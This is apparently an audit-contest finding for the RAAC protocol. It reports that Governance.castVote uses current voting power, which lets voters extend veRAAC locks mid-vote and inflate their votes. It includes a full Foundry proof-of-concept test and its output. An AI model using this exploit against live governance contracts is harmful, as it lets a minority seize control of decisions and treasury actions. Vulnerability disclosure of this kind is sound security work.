Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attackers would manipulate votes through lock duration extension in `Goverance.sol` increasing their voting power

Summary

In the governance.sol system's voting mechanism there is a flaw that allows attackers to manipulate their voting power during active proposal periods. The vulnerability stems from the interaction between the veRAACToken's lock duration extension feature extend function and the Governance.sol contract's voting power calculation timing.

The core issue is that voting power can be significantly amplified during the voting period by extending lock durations. An attacker can initially lock tokens for a minimum duration (365 days), wait to see how a proposal is trending, then extend their lock duration to the maximum (1460 days) just before voting. This creates a timing attack vector where users can strategically multiply their voting power by up to 4x after a proposal is already in progress.

My proof of concept demonstrates how multiple accounts can coordinate to amplify their collective voting power from an initial ~500k votes to over 3.3M votes (a 6x increase) by manipulating lock durations during the voting period. This undermines the democratic nature of the governance system and allows minority token holders to potentially control voting outcomes.

Vulnerability Details

The vulnerability exists in the interaction between three key functions:

// In veRAACToken
function lock(uint256 amount, uint256 duration) external {
// Initial lock with minimum duration (365 days)
_votingState.calculateAndUpdatePower(
msg.sender,
amount,
block.timestamp + duration
);
}

Lock Duration Extension: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/tokens/veRAACToken.sol#L280

// In veRAACToken
function extend(uint256 duration) external {
// Voting power increases when duration is extended
_votingState.calculateAndUpdatePower(
msg.sender,
_locks[msg.sender].amount,
_locks[msg.sender].unlockTime + duration
);
}

Vote Casting: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/proposals/Governance.sol#L181

// In Governance
function castVote(uint256 proposalId, bool support) public virtual returns (uint256) {
// Gets CURRENT voting power instead of power at proposal creation
uint256 votingPower = IveRAACToken(votingToken).getVotingPower(msg.sender);
return _castVote(proposalId, msg.sender, support, "", votingPower);
}

Attack Path:

  • Attacker creates multiple accounts and locks tokens with minimum duration (365 days)

  • Proposal is created and voting begins

  • Attackers monitor voting trends

  • Just before voting, attackers extend their lock durations to maximum (1460 days)

  • Voting power is amplified due to longer lock duration

  • Attackers cast votes with artificially inflated power

Proof of Code: Add this code to your test file and run it.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Create multiple attacker accounts
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
// Give each account enough tokens for their larger lock amount
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
// Give extra tokens to attacker0 for the proposal
raacToken.transfer(attackerAccounts[0], 500_000e18);
}
function testVotingPowerManipulation() public {
emit log_string("\n=== Phase 1: Initial Setup ===");
// Setup initial voting power for attacker0 with max lock
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 1460 days); // Max lock duration for proposal power
vm.stopPrank();
emit log_named_uint(
"Attacker0 initial voting power",
veToken.getVotingPower(attackerAccounts[0])
);
// Setup other accounts with increasing amounts
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
uint256 lockAmount = 200_000e18 * (i + 1);
raacToken.approve(address(veToken), lockAmount);
veToken.lock(lockAmount, 365 days); // Initial minimum lock
vm.stopPrank();
emit log_named_uint(
string.concat("Account ", vm.toString(i), " initial voting power"),
veToken.getVotingPower(attackerAccounts[i])
);
}
emit log_string("\n=== Phase 2: Create Malicious Proposal ===");
// Create proposal
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = address(timelock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("maliciousAction()");
vm.prank(attackerAccounts[0]);
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Malicious Proposal",
IGovernance.ProposalType.TreasuryAction
);
emit log_string("\n=== Phase 3: Execute Voting Attack ===");
// Move to voting period
vm.warp(block.timestamp + governance.votingDelay() + 1);
// First vote with attacker0's max power
vm.prank(attackerAccounts[0]);
governance.castVote(proposalId, true);
(uint256 initialVotes,) = governance.getVotes(proposalId);
emit log_named_uint("Initial votes", initialVotes);
// Other accounts extend their locks to max duration before voting
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
// Calculate extension needed (1460 - 365 = 1095 days)
uint256 extensionDays = 1095 days;
veToken.extend(extensionDays); // Extend by the difference to reach max duration
governance.castVote(proposalId, true);
vm.stopPrank();
(uint256 currentVotes,) = governance.getVotes(proposalId);
emit log_named_uint(
string.concat("Votes after account ", vm.toString(i), " with max lock"),
currentVotes
);
}
emit log_string("\n=== Phase 4: Attack Results ===");
// Get final vote counts
(uint256 finalVotes,) = governance.getVotes(proposalId);
emit log_named_uint("Initial votes", initialVotes);
emit log_named_uint("Final votes", finalVotes);
emit log_named_uint("Vote multiplier achieved", finalVotes / initialVotes);
// Check quorum manipulation
uint256 initialQuorum = governance.quorum();
vm.warp(block.timestamp + 30 days);
uint256 finalQuorum = governance.quorum();
emit log_named_uint("Initial quorum", initialQuorum);
emit log_named_uint("Final quorum", finalQuorum);
// Verify attack success
assertTrue(
finalVotes > initialVotes * 2,
"Attack should at least double effective voting power"
);
// Check proposal state
vm.warp(block.timestamp + governance.votingPeriod());
IGovernance.ProposalState state = governance.state(proposalId);
assertTrue(
state == IGovernance.ProposalState.Succeeded,
"Proposal should succeed with manipulated votes"
);
}
}

Proof of Concept Results:

Initial Setup:
Attacker0 initial voting power: 500000000000000000000000
Account 1 initial voting power: 100000000000000000000000
Account 2 initial voting power: 150000000000000000000000
Account 3 initial voting power: 200000000000000000000000
Account 4 initial voting power: 250000000000000000000000
Attack Results:
Initial votes: 499657530282851344522227
Final votes: 3297739699866818873695235
Vote multiplier achieved: 6

Impact

The vulnerability has severe implications for the governance system:

  • Vote Manipulation

  • Attackers can amplify voting power by up to 6x during voting

  • Minority token holders can potentially control governance decisions

  • Democratic nature of governance is undermined

    Strategic Exploitation

  • Attackers wait to see voting trends before amplifying power

  • Allows for strategic manipulation of close votes

  • Creates unfair advantage for coordinated groups

Tools Used

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.